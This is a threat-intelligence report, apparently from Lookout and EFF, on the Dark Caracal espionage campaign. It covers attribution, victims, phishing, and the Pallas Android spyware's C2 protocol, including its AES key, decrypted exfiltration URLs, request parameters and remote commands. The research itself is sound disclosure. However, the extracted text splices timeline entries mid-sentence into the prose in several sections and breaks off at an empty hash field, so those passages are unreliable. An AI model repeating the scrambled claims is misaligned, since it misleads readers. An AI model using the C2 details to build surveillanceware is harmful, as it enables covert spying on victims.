Surveillanceware Desktop Components Background Lebanon s General Directorate of General Security (GDGS) Locating Attacker Facilities Surveillanceware Mobile Capabilities Bandook CrossRAT Infected Documents Other Samples Infrastructure Nancy Razzouk and Hassan Ward Primary Command and Control Server Hadi Mazeh Watering Hole Server Rami Jabbour Phishing Domains Windows C2 Servers Test Devices Wi-Fi Networks Location Information from IP Addresses Identities: Attacker Personas Prolific Activity Exfiltrated Data Appendix Android Malware Content Indicators of Compromise and Actor Tracking Windows Malware Content Patterns of Attacks The Initial Compromise Social Engineering and Spear-Phishing Mobile Implant Apps Desktop Implant Apps SECURITY RESEARCH REPORT Executive Summary As the modern threat landscape has evolved, so have the actors. The barrier to entry for cyber-warfare has continued to decrease, which means new nation states previously without significant offensive capabilities1 are now able to build and deploy widespread multi-platform cyber-espionage campaigns. This report uncovers a prolific actor with nation-state level advanced persistent threat (APT) capabilities, who is exploiting targets globally across multiple platforms. The actor has been observed making use of desktop tooling, but has prioritized mobile devices as the primary attack vector. This is one of the first publicly documented mobile APT actors known to execute espionage on a global scale. Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal2, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information. We are releasing more than 90 indicators of compromise (IOC) associated with Dark Caracal including 11 different Android malware IOCs; 26 desktop malware IOCs across Windows, Mac, and Linux; and 60 domain/IP based IOCs. Dark Caracal targets include individuals and entities that a nation state might typically attack, including governments, military targets, utilities, financial institutions, manufacturing companies, and defense contractors. We specifically uncovered data associated with military personnel, enterprises, medical professionals, activists, journalists, lawyers, and educational institutions during this investigation. Types of data include documents, call records, audio recordings, secure messaging client content, contact information, text messages, photos, and account data. The joint Lookout-EFF investigation began after EFF released its Operation Manul report, highlighting a multi-platform espionage campaign targeted at journalists, activists, lawyers, and dissidents who were critical of President Nursultan Nazarbayev s regime in Kazakhstan. The report describes malware and tactics targeting desktop machines, with references to a possible Android component. After investigating related infrastructure and connections to Operation Manul, the team concluded that the same infrastructure is likely shared by multiple actors and is being used in a new set of campaigns. The diversity of seemingly unrelated campaigns that have been carried out from this infrastructure suggests it is being used simultaneously by multiple groups. Operation Manul clearly targeted persons of interest to Kazakhstan, while Dark Caracal has given no indication of an interest in these targets or their associates. This suggests that Dark Caracal either uses or manages the infrastructure found to be hosting a number of widespread, global cyber-espionage campaigns. Since 2007, Lookout has investigated and tracked mobile security events across hundreds of millions of devices around the world. This mobile espionage campaign is one of the most prolific we have seen to date. Additionally, we have reason to believe the activity Lookout and EFF have directly observed represents only a small fraction of the cyber-espionage that has been conducted using this infrastructure. https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf In keeping with traditional APT naming, we chose the name Caracal (pronounced [kar-uh-kal]) because the feline is native to Lebanon and because this group has remained hidden for so long. From the Wikipedia entry the caracal is highly secretive and difficult to observe and is often confused with [other breeds of cat]. The naming further builds on EFF Operation Manul, another feline reference. We like cats. SECURITY RESEARCH REPORT Key Findings Dark Caracal Activity Timeline Lookout and EFF researchers have identified a new threat actor, Dark Caracal. Jan. 2012 First mobile surveillance campaign, oldb, launched Our research shows that Dark Caracal may be administering its tooling out of the headquarters of the General Directorate of General Security (GDGS) in Beirut, Lebanon. op13@mail[.]com registers phishing Mar. 2014 Custom FinFisher mobile The GDGS gathers intelligence for national security purposes and for its offensive cyber capabilities according to previous reports. Nov. 2012 We have identified four Dark Caracal personas with overlapping domain arablivenews[.]com sample created TTP (tools, techniques, and procedures). Dark Caracal is using the same infrastructure as was previously Nov. 2014 is decommissioned seen in the Operation Manul campaign, which targeted journalists, lawyers, and dissidents critical of the government of Kazakhstan. Dec. 2015 op13@mail[.]com registers Jun. 2015 Operation Manul phishing Jun. 2016 gmailservices[.]org and Dark Caracal has been conducting a multi-platform, APT-level surveillance operation targeting individuals and institutions globally. Dark Caracal has successfully run numerous campaigns in parallel arablivenews[.]com expires and arabpublisherslb[.]com domain emails first seen and we know that the data we have observed is only a small fraction of the total activity. We have identified hundreds of gigabytes of data exfiltrated from details registered as Hadi thousands of victims, spanning 21+ countries in North America, Mazeh and op13@mail[.]com Europe, the Middle East, and Asia. The mobile component of this APT is one of the first we ve seen executing espionage on a global scale. Analysis shows Dark Caracal successfully compromised the Aug. 2016 EFF releases Operation Manul report Oct. 2016 op13@mail[.]com registered arablivenews[.]com. Threat devices of military personnel, enterprises, medical professionals, Connect report 3 suggests activists, journalists, lawyers, and educational institutions. defense contractors. Types of exfiltrated data include documents, call records, audio recordings, secure messaging client content, contact information, text messages, photos, and account data. domain may be related to APT 28 Dark Caracal targets also include governments, militaries, utilities, financial institutions, manufacturing companies, and twiterservices[.]org WHOIS https://www.threatconnect.com/blog/how-to-investigate-incidents-in-threatconnect/ Dec. 2016 secureandroid[.]info watering Dec. 2016 Second mobile surveillance hole goes live. campaign, wp7, launched SECURITY RESEARCH REPORT Dark Caracal follows the typical attack chain for cyber-espionage. They rely primarily on social media, phishing, and in some cases physical access to compromise target systems, devices, and accounts. Dark Caracal uses tools across mobile and desktop platforms. Dark Caracal uses mobile as a primary attack platform. Dark Caracal purchases or borrows mobile and desktop tools from Dark Caracal Activity Timeline (cont.) Mar. 2017 campaign, wp8, launched Apr. 2017 Lookout discovered Dark Caracal s custom-developed mobile surveillanceware (that we call Pallas) in May 2017. Pallas is found in Jun. 2017 Dark Caracal has also used FinFisher, a tool created by a lawful intercept company that is regularly abused by other nation-state actors. Dark Caracal makes extensive use of Windows malware called Fifth and sixth mobile surveillance campaigns, wp10 and wp10s, launched trojanized Android apps. Fourth mobile surveillance campaign, wp9, launched actors on the dark web. Third mobile surveillance Jul. 2017 wp8 campaign ceases collecting data Jul. 2017 adobeair[.]net taken down for several dayss Bandook RAT. Dark Caracal also uses a previously unknown, multiplatform tool that Lookout and EFF have named CrossRAT, which is able to target Windows, OSX, and Linux. Dark Caracal uses a constantly evolving, global infrastructure. Jul. 2017 adobeair[.]net resumes operations Aug. 2017 wp9, wp10, and wp10s campaigns cease collecting data Lookout and EFF researchers have identified parts of Dark Caracal s infrastructure, providing us with unique insight into its global operations. Aug. 2017 adobeair[.]net WHOIS details changed to Nancy Razzouk, The infrastructure operators prefer to use Windows and XAMPP op13@mail[.]com, Lebanon software on their C2 servers rather than a traditional LAMP stack, which provides a unique fingerprint when searching for related infrastructure. oldb campaign ceases collecting data Sep. 2017 wp7 campaign ceases collecting data Sep. 2017 adobeair[.]net changes hosting Lookout and EFF have identified infrastructure shared by Operation Manul and Dark Caracal as well as other actors. Aug. 2017 Attributing Dark Caracal was difficult as the actor employs multiple types of malware, and our analysis suggests the and is secured against data leaks infrastructure is also being used by other groups. Lookout and EFF are releasing more than 90 indicators of compromise (IOC): 11 Android malware IOCs 26 desktop malware IOCs 60 domains, IP Addresses, and WHOIS information Dec. 2017 Secureanroid[.]info s domain name expires Jan. 2018 Dark Caracal made public SECURITY RESEARCH REPORT Background Lebanon s General Directorate of General Security (GDGS) Devices for testing and operating the campaign were traced back to a building belonging to the Lebanese General Directorate of General Security (GDGS), one of Lebanon s intelligence agencies. Based on the available evidence, it is likely that the GDGS is associated with or directly supporting the actors behind Dark Caracal. Previous Cyberespionage EFF first identified elements of this infrastructure in its August 20164 report on Operation Manul. The report details a series of attacks targeting journalists and political activists critical of Kazakhstan s authoritarian government, along with their family members, lawyers, and associates. EFF s research noted references to Android components found on the infrastructure; however, no samples had been discovered at the time of the report s release. Lookout has since acquired Android samples used by Dark Caracal that belong to what Lookout researchers have named the Pallas malware family. Citizen Lab previously flagged the General Directorate of General Security in a 2015 report as one of two Lebanese government organizations using the FinFisher spyware5. The report cites evidence showing that the GDGS, along with other state actors around the world, had active campaigns using FinFisher infrastructure and tools. However, the report did not specify whether the spyware used was the mobile version of FinFisher. Our investigation resulted in the discovery of at least one FinFisher implant for Android, which corroborates Citizen Lab s previous research. The sample s hash is provided in the appendix of this report. We also uncovered new desktop surveillance software developed potentially by Dark Caracal themselves, a developer associated with the GDGS, or a private contractor group. The intent of bringing forth these findings is to reveal newly discovered evidence of a new nation-state actor compromising the devices of military personnel, enterprises, medical professionals, activists, journalists, lawyers, and educational institutions. Our review and disclosure of this matter follows industry practices, including sharing our findings with appropriate government authorities, industry partners and the public at large. https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf https://citizenlab.ca/2015/10/mapping-finfishers-continuing-proliferation/ SECURITY RESEARCH REPORT Locating Attacker Facilities We correlated information from test devices and Wi-Fi networks to determine the location of Dark Caracal s facilities. Test Devices Dark Caracal used a series of test devices to confirm that its malware implants and C2 infrastructure work correctly. Identifying these devices helped us to determine Dark Caracal s likely location inside the GDGS building. Distinguishing between test and target devices can be tricky. After analyzing data from the infrastructure, we noticed that a subset of the compromised devices contained similar email, Viber, Primo, Telegram, and Whatsapp accounts. These data points allowed us to focus on a select few devices that were unique among the thousands we saw. Additionally, these devices contained a minimal amount of (if any) real content in the exfiltrated text messages, contacts, and application data, which led us to conclude they were likely test devices. Figure 1: A picture of the GDGS building in Beirut, Lebanon from where we have located Dark Caracal operating Wi-Fi Networks Within the cluster of test devices we noticed what could be unique Wi-Fi networks. Knowing that Wi-Fi networks can be used for location positioning, we used that data to geo-locate where these devices may have been by keying off network identifiers. We specifically focused on the Wi-Fi network SSID Bld3F6. Using the Wi-Fi geolocation service Wigle.net we saw these test device Wi-Fi networks mapped to Beirut. We also noticed Wi-Fi networks with SSID Bld3F6 mapped near the General Security building in Beirut, Lebanon. Figure 2: Google map of the GDGS Building in Beirut Left: Data as observed from Wigle.net for SSID: Bld3F6 | Right: Data confirming location of SSID: Bld3F6 SECURITY RESEARCH REPORT Location Information from IP Addresses Throughout the course of this investigation we observed logins into the administrative console of the C2 server come from three IP addresses. The IP addresses are all from Ogero Telecom6, which is owned by the Government of Lebanon. We geo-located two of the IP addresses just south of the GDGS s building (probably a switching or central hub for Ogero). Figure 3: The location of IP addresses that logged into the adobeair[.]net admin console between July and September 2017 https://en.wikipedia.org/wiki/Telecommunications_in_Lebanon SECURITY RESEARCH REPORT Identities: Attacker Personas The infrastructure used by Dark Caracal revealed several different associated personas. This resulted in the team linking four different aliases, two domains, and two phone numbers to this infrastructure. At the center of these personas is the email address op13@mail[.]com which has appeared at various stages in the historical WHOIS information of Dark Caracal domains (see: Timeline). Aliases associated with op13@mail[.]com include Nancy Razzouk, Hadi Mazeh, and Rami Jabbour. All of the physical addresses listed in the WHOIS domain registrations associated with op13@mail[.]com tend to cluster around the SSID: Bld3F6 Wi-Fi locations. This is near the General Security building in Beirut. Nancy Razzouk and Hassan Ward We identified Nancy Razzouk listed alongside the op13@mail[.]com email address in domain WHOIS information. We also found this name in signer content for the Windows malware7 that communicates with adobeair[.]net. Figure 4: Signer content for Windows malware The contact details for Nancy present in WHOIS information matched the public listing for a Beirut-based individual by that name. When we looked at the phone number associated with Nancy in the WHOIS information, we discovered the same number listed in exfiltrated content and being used by an individual with the name Hassan Ward. SHA-256 HASH: d57701321f2f13585a02fc8ba6cbf1f2f094764bfa067eb73c0101060289b0ba SECURITY RESEARCH REPORT Hadi Mazeh During July 2017, Dark Caracal s internet service provider took the adobeair[.]net command and control server offline. Within a matter of days, we observed it being re-registered to the email address op13@mail[.]com with the name Nancy Razzouk. This allowed us to identify several other domains listed under the same WHOIS email address information, running similar server components. The WHOIS name field, however, listed several entries with the name Hadi Mazeh. This suggests that either multiple individuals are using the op13 email address or the owner has several aliases that he or she uses with it. op13@mail.com Hadi Mazeh fbarticles.com gmailservices.org arabpublisherslb.com facebookservices.org twiterservices.org Figure 5: Aliases associated with the op13 email address Rami Jabbour We determined the actor behind the op13 email address also registered the domain arablivenews[.]com and provided the name Rami Jabbour. Address details listed in WHOIS information for this specific entry are Salameh Blg, Museum Str, and Mathaf, which appears to be in close proximity to where we have seen test devices in Beirut. SECURITY RESEARCH REPORT Prolific Activity Throughout this investigation, Lookout and EFF researchers have gained unique insight into the global operations of Dark Caracal. This has primarily been possible due to command and control infrastructure operators allowing public access to data stolen from compromised devices and systems. Since we first gained visibility into attacker infrastructure in July 2017, we have seen millions of requests being made to it from infected devices. This demonstrates that Dark Caracal is likely running upwards of six distinct campaigns in parallel, some of which have been operational since January 2012. Dark Caracal targets a broad range of victims. Thus far, we have identified members of the military, government officials, medical practitioners, education professionals, academics, civilians from numerous other fields, and commercial enterprises as targets. Exfiltrated Data Account Information Wi-Fi Details Call Records Bookmarks & Browsing History WhatsApp, Telegram and Skype databases Contacts Installed Applications Legal and Corporate Documentation Images Audio Recordings File and Directory Listings Messages ***** Figure 6: A summary of some of the types of content Dark Caracal exfiltrated from victims on both Android and Windows Not only was Dark Caracal able to cast its net wide, it was also able to gain deep insight into each of the victim s lives. It did this through a series of multi-platform surveillance campaigns that began with desktop attacks and pivoted to the mobile device. Stolen data was found to include personal messages and photos as well as corporate and legal documentation. In some cases, screenshots from its Windows malware painted a picture of how a particular individual spent his evenings at home. SECURITY RESEARCH REPORT We found the largest collection of data from a single command and control server that operated under the domain adobeair[.] net. Over a short period of observation, devices from at least six distinct Android campaigns communicated with this domain resulting in 48GB of information being exfiltrated from compromised devices. Windows campaigns contributed a further 33GB of stolen data. The remainder of the data contained desktop malware samples, spreadsheet reports on victims, and other files. Figure 7: Split of exfiltrated data found Split of ex ltrated content on adobeair.net 81 GB on just the command and control server adobeair[.]net. From 81GB of stolen data, the majority was found to be from campaigns run against mobile devices 59.3% Android Campaigns 81 GB 40.7% Windows Campaigns Victims were found to speak a variety of languages and were also from a wide range of countries. We discovered messages and photos in Arabic, English, Hindi, Turkish, Thai, Portuguese, and Spanish in the examined data. According to our analysis, infrastructure contained exfiltrated data from individuals residing in: China France Germany India Italy Jordan Lebanon Nepal Netherlands Pakistan Philippines Qatar Russia Saudi Arabia South Korea Switzerland Syria Thailand United States Venezuela Vietnam SECURITY RESEARCH REPORT Figure 8: Observed locations of compromised devices Based on both the mobile and desktop campaigns we observed, we believe the attacker first exfiltrated information in January 2012. At the time of writing this report, it looks as though Dark Caracal is still uploading data from its spy campaigns, according to the servers we are tracking.8 Figure 9: Amount of exfiltrated content (as represented by count in the graph above) being uploaded for certain campaigns on adobeair[.]net over time for 2017 Despite the internet service provider taking the command and control server down in July 2017, the infrastructure reappeared online again after a few days. The dip in data exfiltration due to the takedown can be observed in Figure 9 at the beginning of August. The average number of files uploaded to the server increases steadily with time. SECURITY RESEARCH REPORT Android Malware Content The Android malware family mainly trojanizes messaging and security applications and, once it compromises a device, it is capable of collecting a range of sensitive user information. This includes recorded audio, call logs, conversations from popular chat applications, location information, browsing history, device specific metadata, contacts, and much more. Each Android malware sample contains a hard coded identifier that we believe represents the campaign to which it belongs. When a Dark Caracal operator instructs an infected device to upload sensitive data, it is stored on the attacker infrastructure under this campaign. While investigating this adversary, we observed content distributed across six different campaigns. In this report, we refer to these campaigns by the name of the directory to which infected devices uploaded victim data. These campaigns are listed below, along with the number of victim devices we believe Dark Caracal compromised while we were observing its operations: /oldb - 28 perceived test devices, 454 potential victim devices /wp9 - 11 potential victim devices /wp7 - 4 perceived test devices, 117 potential victim devices /wp10 - 1 potential test device, 2 potential victim devices /wp8 - 1 perceived test device, 4 potential victim devices /wp10s - 13 potential test devices, 21 potential victim devices We did not attempt to identify targets and consider that beyond the scope of this report. An overview of exfiltrated data from the Android campaigns can be seen in the figure below. 264,535 Files 486,766 SMS Texts 17.6% 32.4% Directories 0.0% 206,461 Unique Wi-Fi SSIDs 13.8% ***** 1547 Authentication Accounts 0.1% 92,35 Browsing History URLs 252,982 6.2% Contacts 45,264 Android Application Details 3.0% 16.9% 150,266 Call Records 10.0% Figure 10: Distribution of data from the Android campaigns SECURITY RESEARCH REPORT Exfiltrated data can be divided into the following categories of information: SMS messages - SMS messages made up some of the more meaningful exfiltrated data. Messages included personal texts, two-factor authentication and one-time password pins, receipts and airline reservations, and company communications. Some pin codes were within their validity window at the time of writing this report. Figure 11: Exfiltrated SMS texts detailing OTPs, receipts, and Facebook notifications SECURITY RESEARCH REPORT Contact Lists - This data included numbers, names, addresses, bank passcodes, PIN numbers, how many times each contact was dialed, and the last time the contact was called. Figure 12: Contacts exfiltrated from 3 victims Android devices can be seen to contain corporate numbers, personal numbers, and Visa credit card numbers Call logs - This data included a full record of incoming, outgoing, and missed calls along with the date and duration of the conversation. Installed Applications - This data included app names and version numbers. Bookmarks and Browsing History - This data included bookmarks and browsing history from web pages. This data was seen in only one Android campaign called oldb, but it clearly identified victims that were active in political discourse. Connected Wi-Fi Details - This data included observed Wi-Fi access point names, BSSIDs, and signal point strength. Authentication Accounts - This data included the login credentials and which applications are using it. File and Directory Listings - This data included a list of personal files, downloaded files, and temporary files, including those used by other applications. Audio Recordings and Audio Messages - This data included audio recordings of conversations, some of which identified individuals by name. Photos - This data included all personal and downloaded photographs, including profile pictures. SECURITY RESEARCH REPORT Windows Malware Content Dark Caracal s use of Windows malware includes a wider range of command and control infrastructure beyond adobeair[.]net. Its methods and data collection, however, are similar to the Android malware. Exfiltrated data from the Windows malware included the following general categories: Desktop Screenshots - This data included full screenshots taken at regular intervals and uploaded to adobeair[.]net. By observing these images, it is disturbingly simple to watch a victim go about his daily life and follow that individual every step of the way. Figure 13: A screenshot exfiltrated from victim s Windows device on adobeair[.]net Skype Logs Databases - The data included the entire Skype AppData folder for certain victims, including messaging databases. Photos - This data included complete contents of the Pictures folder from compromised Windows machines. It is common to see smartphone photos backed up to this location, which most often contains personal photographs of family and friends taken by the individual being targeted. SECURITY RESEARCH REPORT iPhone Backups - This data included an entire unencrypted backup of a victim s iPhone. File Listings - This data included all default Windows folders and file listings. Corporate and Legal Documentation - This data included a large collection of company-specific documents. Specifically, we discovered these on another live command and control server, planethdx[.]com. Figure 14: An example of corporate documentation, which details the addresses and telephone numbers of customers for a shipping company SECURITY RESEARCH REPORT Patterns of Attacks Dark Caracal follows the typical attack chain for client-side cyber-espionage. Mobile tools include a custom written Android surveillanceware implant Lookout named Pallas9 and a previously unknown FinFisher sample. The group s desktop tools include the Bandook malware family and a newly discovered desktop surveillanceware tool that we have named CrossRAT, which is able to infect Windows, Linux, and OS X operating systems. The Initial Compromise Physical access Phishing messages WhatsApp Phishing messages Facebook group Watering hole server: secureandroid[.]info Phishing server: Set up for credential harvesting Fake Google domain Fake Facebook domain Fake Twitter domain Trojanized Android Apps ltrated Data Figure 15: The Android malware infrastructure is designed to attract victims into the campaign C2 server adobeair[.]net through two different mechanisms: phishing campaigns that separately lead to a watering hole server (secureandroid[.]info) and a server designed to accept credentials via a spoofed login Dark Caracal relies primarily on social engineering via posts on a Facebook group and WhatsApp messages in order to compromise target systems, devices, and accounts. At a high-level, the attackers have designed three different kinds of phishing messages, the goal of which is to eventually drive victims to a watering hole controlled by Dark Caracal. Pallas Cat is another name for Manul, a reference to EFF s Op Manul campaign on this actor SECURITY RESEARCH REPORT The group distributes trojanized Android applications with the Pallas malware through its watering hole, secureandroid[.]info. Many of these downloads include fake messaging and privacyoriented apps. Figure 16: secureandroid[.]info s app download page There is also some indication that Dark Caracal has used physical access in the past to install the Android malware. Figure 17: A text message found from a possible victim s device SECURITY RESEARCH REPORT Social Engineering and Spear-Phishing Dark Caracal uses phishing messages through popular applications, such as WhatsApp, in order to direct people to the watering hole. Figure 18: Left: Extracted from WhatsApp messages database Right: Facebook group links to watering hole Dark Caracal infrastructure hosts phishing sites, which look like login portals for well known services, such as Facebook, Twitter, and Google. We found links to these pages in numerous Facebook groups that included Nanys in their titles. These groups are listed in the appendix. Figure 19: Dark Caracal credential phishing portals SECURITY RESEARCH REPORT Google has indexed several of these phishing campaigns from the tweetsfb[.]com server. We were able to link a number of phishing domains dating to the mid-to-late 2016 time period from this data. We believe the attackers used these phishing servers to capture login credentials, hijack accounts, and to push out more spoofed messages to widen their pool of victims. Figure 20: Google indexing of tweetsfb[.]com campaigns Phishing links posted in Dark Caracal linked Facebook groups include politically themed news stories, links to fake versions of popular services, such as Gmail, and links to trojanized versions of WhatsApp. Figure 21: Dark Caracal phishing links posted on Facebook SECURITY RESEARCH REPORT Four Facebook profiles similar in theme liked the phishing groups. Dark Caracal likely used these fake profiles to initiate communication with victims and build a rapport before directing them either to content on the Nanys Facebook groups or to the secureandroid[.]info domain directly. Figure 22: Dark Caracal fake Facebook profiles Surveillanceware Mobile Capabilities Pallas Dark Caracal s Custom Android Samples Using our global sensor network, Lookout researchers identified 11 unique Android surveillanceware apps tied to the Operation Manul campaign10. The trojanized apps still retain the legitimate functionality of the apps they spoof and behave as intended. The apps are found predominantly in trojanized versions of well-known secure messaging apps including: Signal (org.thoughtcrime.securesms) Threema (ch.threema.app) Primo (com.primo.mobile.android.app) WhatsApp (com.gbwhatsapp) Plus Messenger (org.telegram.plus) We also identified Pallas in trojanized versions of two apps aimed at users seeking to protect themselves and their data online: Psiphon VPN (com.psiphon3) Orbot: TOR Proxy (org.torproject.android) http://www.cmcm.com/blog/en/security/2017-08-16/1101.html SECURITY RESEARCH REPORT Finally, with help from Google s Android Security team, we discovered Pallas lurking in several apps purporting to be Adobe Flash Player and Google Play Push for Android: Flash Player (com.flashplayer.player) Google Play Push (com.flashplayer.player) Primo Orbot TOR Proxy Signal Psiphon Threema WhatsApp Plus Messenger Figure 23: Dark Caracal trojanized Android apps Neither the desktop nor the mobile malware tooling use zero day vulnerabilities. Pallas samples primarily rely on the permissions granted at installation in order to access sensitive user data. However, there is functionality that allows an attacker to instruct an infected device to download and install additional applications or updates. Theoretically this means it s possible for the operators behind Pallas to push specific exploit modules to compromised devices in order to gain complete access. We found no attacker infrastructure containing rooting packages. This highlights that, in many cases, advanced exploitation capabilities like those shown by surveillance tools such as Pegasus for iOS and Chrysaor for Android (that targeted both Android11 and iOS12 devices), are not essential, but helpful when targeting certain platforms. https://blog.lookout.com/pegasus-android https://blog.lookout.com/trident-pegasus SECURITY RESEARCH REPORT The Pallas first stage is capable of performing the following surveillance functionality on a compromised device: Take photos with front or back camera Retrieve device metadata Exfiltrate all text messages including those Retrieve text messages Retrieve information about all accounts Send an SMS to an attacker-specified number Retrieve call logs Retrieve messages and any corresponding received in the future Retrieve latitude / longitude from GPS Silently activate the device microphone to capture audio Retrieve contacts Scan nearby Wi-Fi access points and exfiltrate information about them, including their BSSID, SSID, authentication, key management, encryption schemes, signal strength, and frequency Retrieve chat content from secure messaging applications (this only applies when a victim is using a secure messaging app that has been trojanized with Pallas) decryption keys from messaging apps Retrieve a list of installed packages Download and install additional apps Upload attacker specified files Delete attacker specified files and directories Harvest credentials via phishing pop-ups C2 Communications with Malware Implants All samples belonging to the Pallas malware family have the same capabilities and functionality described in the previous section. However, obfuscation did differ between them. For reference, code snippets shown in the following section have been taken from a trojanized version of WhatsApp with a package name of com.gbwhatsapp and a SHA1 hash of ed4754effda466b8babf87bcba2717760f112455. Like most other surveillanceware, communication with the C2 includes three main phases: 1. Regular beaconing to the remote HTTP server. 2. Handling any outstanding attacker specified commands. 3. Exfiltration / uploading of victim data to C2 servers. Pallas samples have a number of different entry points via broadcast receivers, specifically the C2 communications reside in the com.receive.MySe. SECURITY RESEARCH REPORT Figure 24: Actions that trigger the Pallas malware samples to do work In all Pallas samples Lookout analyzed, domain information and URL paths are hardcoded as encrypted values. The actor uses AES encryption and chose to use the secret key of Bar12345Bar12345 and initialization vector of RandomInitVector, which appears in a post describing how to use AES encryption in Java13. Examples of AES encrypted, base64 encoded domains and URL paths present in some Pallas samples include: krgbAdOUCGKEnuCRp5s+eE2eMWUktZQR64RBdkNoH/O0NFo9ByRTFhjqa2UX2Y9k krgbAdOUCGKEnuCRp5s+eA/hX2erfMp+49exa+8zoZgMlBICjGuOSqrvGRCjgrZ4 These two examples decrypt to: https://adobeair[.]net/wp9/add.php https://adobeair[.]net/wp9/upload.php The general format of Pallas requests can be written as https://adobeair[.]net//. The add.php script is used for several operations, including compromised device check-ins as well as C2 instruction execution. We also determined that it is able to retrieve location information (GPS data) and general metadata about a victim s device. The following table provides additional details around the structure of these requests. In all cases, the Content-Type header is set to application/x-www-form-urlencoded. The listed ac parameter identifies the type of request made to the C2. https://stackoverflow.com/questions/15554296/simple-java-aes-encrypt-decrypt-example SECURITY RESEARCH REPORT Purpose Of The Request HTTP Parameters(Key=Value) Required Check-In with C2 ac=chkcm1 uid= pr= The victim s GPS location is communicated to the C2 every 120 minutes. GPS location ac=chkcm1 uid= alt= long= Request responsible for gathering general device metadata and uploading to C2. This request is triggered via several entry points including, but not limited to, the creation of the app on the device. General Device Information ac=iu uid= imei= nb= os= man= op= wifi= cam= ver= pr= idt= ecr= Description Retrieve data from a compromised device, including text messages, calls, contact information, Wi-Fi details, and accounts. Parameter pr is if sufficient permissions exist, otherwise, and 111111111111 , if the build version of the device is lower than 23. Responses from C2 infrastructure to devices infected with Pallas consist of chunks of data separated by a . The following table shows the commands that are currently supported. Some of these require the victim s device to report back to the C2 and/or upload files to it via HTTP POST requests. The responses to the attacker commands detailed below are handled via the add.php page. SECURITY RESEARCH REPORT Description Command HTTP Parameters(Key=Value) Required Retrieve all the data from a compromised device, including text message, call information, contact details, Wi-Fi data, and account information to name a few. GALL1 Toggle the call record functionality to on or off. REC2 Upload file and directory access logs of the trojanized application to the C2 via a single file. GFILE1 Take a picture using the front or rear camera and upload to the C2 server. CAMG1 Download an update from attacker infrastructure, attempt to execute it, and notify the C2. UPD1 ac=REPX uid= RP=Update Procedure Executed Delete an attacker-specified file from the device and notify the C2. DELF1 ac=REPX uid= RP=File Deleted : Retrieve an attacker-specified file from a compromised device, uploading it to the C2. UPF1 Download an attacker-specified file to the target device and notify the C2. DWN1 ac=REPX uid= RP=File Uploaded To Target : Record an MPEG4 audio file (.mp4) for an attacker-specified duration. Audio is captured with the device s microphone, and once complete is uploaded to the C2 server. REC1 ac=REPX uid= RP=Microphone Already in use by another app Performs the same functionality as detailed above for the REC1 command with the exception that the file is stored locally on external storage under the path .Temp/srec SMS1 ac=REPX uid= RP=Microphone Already in use by another app Send a text message to an attacker-specified number. SMS1 ac=REPX uid= RP=SMS sent to Displays an alert with a phishing theme on a compromised device with the intention of stealing the victim s credentials. Any entered credentials are sent to attacker servers. PWS1 ac=PPWS uid= PS= Checks the Android build on the device as well as the permissions of the app. PRM1 If the installed Pallas sample is a trojanized version of Telegram, WhatsApp, Threema, or Primo, then retrieve their databases and, if present, associated keys. Create a zip file of the shared_pref for the installed Pallas app and upload it to C2 infrastructure. SHPR Manipulate Bitmap images, convert to JPG, and upload to C2. SILF Same operation as SILF but on a directory of images. SIFO ac=GTMBF TFX= Split an attacker-specified file into chunks, saving them to external storage under the path .Temp/spd/. SPLT1 ac=REPX uid= RP= Splitted Create a zipfile of the contents of an attacker-specified directory and upload it to a C2 server. ZDIR1 ac=GTMBF TFX= SECURITY RESEARCH REPORT Pallas handles the exfiltrated data server-side via the upload.php script. This accepts HTTP POST requests that have the following headers and structure, where op_id specifies the type of file being uploaded. POST Request properties Connection : Keep-Alive ENCTYPE : multipart/form-data Content-Type : multipart/form-data;boundary=***** Uploaded_file : upload.php?test=&op=&rn=<>&extra=<>&extra2=<>[&FLS= <>&RLD=<>] --*****\r\n Content-Disposition: form-data; name=\ uploaded_file\ ;filename=\\\r\n \r\n \r\n --*****--\r\n When Pallas receives the GALL1 instruction, it uploads exfiltrated data as a zip archive or saves it as a .db file. For most .db files, each line is base64 encoded and prepended with the string . When decoded, each line translates to a piece of exfiltrated data. Each piece of information is associated with a content keyword or data type. This can be represented as follows: [...] SECURITY RESEARCH REPORT Analysis of all known Pallas samples seen to date has resulted in the identification of the following 10 data types: Data Data Type Fields Description A0X01 date address body type All SMS fields are set according to the Android SMS content provider documentation14 in which the address is the address of the other party and the type may be any of the following values: : ALL : SENT : INBOX DRAFT :OUTBOX :FAILED : QUEUED Contacts A0X02 Display_name Data1 Times_contacted Last_time_contacted All contacts fields are set according to the Android ContactsContract documentation15. Calls A0X03 Number Type Date Duration All contacts fields are set according to the Android documentation for phone calls16 in which type is a string with any of the following values: INCOMING MISSED OUTGOING null Date is in the standard Java SQL DATE format 17. Installed package A0X04 Application_label Package_name Version_name Version_code Specifies the list of installed packages on a victim s device. Browsing History A0X05 Page_title Page_URL Specifies the web pages a victim has visited. https://developer.android.com/guide/topics/providers/content-provider-basics.html https://developer.android.com/reference/android/provider/ContactsContract.CommonDataKinds.Phone.html https://developer.android.com/reference/android/provider/CallLog.Calls.html https://docs.oracle.com/javase/7/docs/api/java/sql/Date.html SECURITY RESEARCH REPORT (continued from page 28) Data Data Type Fields Description Bookmarks A0X06 Bookmark_Title Bookmark_URL Specifies the web pages a victim has bookmarked. WiFi A0X07 SSID Capabilities Level Frequency BSSID All the fields are defined in Android scan result documentation18. Accounts A0X08 Name Type Name is the account name of a victim and type is the authenticator name of that account. Access Logs MIAMO App_name App_path String1 Specifies a file that contains File and Directory access logs of a trojanized app. The MIAMO information line is always the first line in such files. App_path is always a path that a Pallas sample has access to, for example, the SDCard or the application s data folder. String1 is either set to or an absolute path. Access Logs Directory_path Directory_name Directories that the app has accessed. Only exists in a file with MIAMO the first line. Access Logs File_path File_name File_length LasModifiedTime Files that the app has accessed. Only exists in a file with MIAMO as the first line. https://developer.android.com/reference/android/net/wifi/ScanResult.html SECURITY RESEARCH REPORT Previous Use of FinFisher Spyware In addition to the Pallas samples, we discovered a previously unreported FinFisher sample19 on the tweetsfb[.]com server. It is unclear whether this sample was a demo provided to this actor or if the actor came across it via other means. The date of package and compilation for this sample is 2014-03-27 17:26:14 UTC. Below is the extracted configuration and relevant details of this sample. Title: Android Update Package Name: com.esn.wal SHA1: 835befd9376f90a12892876b482c1dcc39643a09 MD5: 